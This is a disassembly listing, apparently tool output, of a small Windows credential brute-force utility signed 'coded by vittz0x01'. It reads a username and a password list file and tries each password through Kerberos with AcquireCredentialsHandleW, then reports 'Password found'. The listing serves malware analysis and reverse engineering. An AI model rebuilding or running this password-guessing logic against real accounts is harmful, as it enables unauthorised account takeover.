Function at 0x401070
Capabilities:
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
push str._______________________________________________________n______________________________________________________n_________________________________________________n_____________________________________________n_____________________________________________n__________________________________________________n___________________________________________coded_by_vittz0x01______________n_______________________________________________________n
call fcn.00401040
add esp, 4
cmp dword [ebp + 8], 3
je 0x4010c9
push dword [esi]
push str.Usage:__s__username___password_list_file__n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d5
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push 0x40338c
push dword [esi + 8]
mov dword [ebp - 0x534], eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x401108
push str.Failed_to_open_password_list_file
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
add esp, 4
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d5
mov esp, ebp
pop ebp
ret
push ebx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
lea eax, [ebp - 0x104]
push esi
push 0x100
push eax
call edi
add esp, 0xc
test eax, eax
je 0x401253
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcspn]
lea eax, [ebp - 0x104]
push 0x4033b4
push eax
call ebx
add esp, 8
cmp eax, 0x100
jae 0x4012cf
push 0x100
push dword [ebp - 0x534]
mov byte [ebp + eax - 0x104], 0
xorps xmm0, xmm0
lea eax, [ebp - 0x304]
movlpd qword [ebp - 0x528], xmm0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
push 0x100
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea eax, [ebp - 0x304]
add esp, 0x18
mov ecx, eax
mov dword [ebp - 0x530], eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4011a4
sub ecx, edx
lea eax, [ebp - 0x504]
sar ecx, 1
lea edx, [eax + 2]
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x520], eax
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4011d0
sub eax, edx
mov dword [ebp - 0x518], 2
sar eax, 1
mov dword [ebp - 0x51c], eax
lea eax, [ebp - 0x514]
push eax
lea eax, [ebp - 0x50c]
push eax
push 0
push 0
lea eax, [ebp - 0x530]
push eax
push 0
push 2
push str.Kerberos
push 0
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
je 0x40127a
push eax
push str.AcquireCredentialsHandle_failed
push str._s_Error_code:_0x_08lx_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
push esi
lea eax, [ebp - 0x104]
push 0x100
push eax
call edi
add esp, 0x1c
test eax, eax
jne 0x401130
push str.Password_not_found_in_the_list._n
call fcn.00401040
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
xor eax, eax
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d5
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x104]
push eax
push dword [ebp - 0x534]
push str.Successfully_authenticated_with_username:__s_and_password:__s_n
call fcn.00401040
add esp, 0xc
lea eax, [ebp - 0x50c]
push eax
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
lea eax, [ebp - 0x104]
push eax
push str.Password_found:__s_n
call fcn.00401040
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
xor eax, eax
pop edi
pop ebx
pop esi
call fcn.004012d5
mov esp, ebp
pop ebp
ret
call fcn.00401406
int3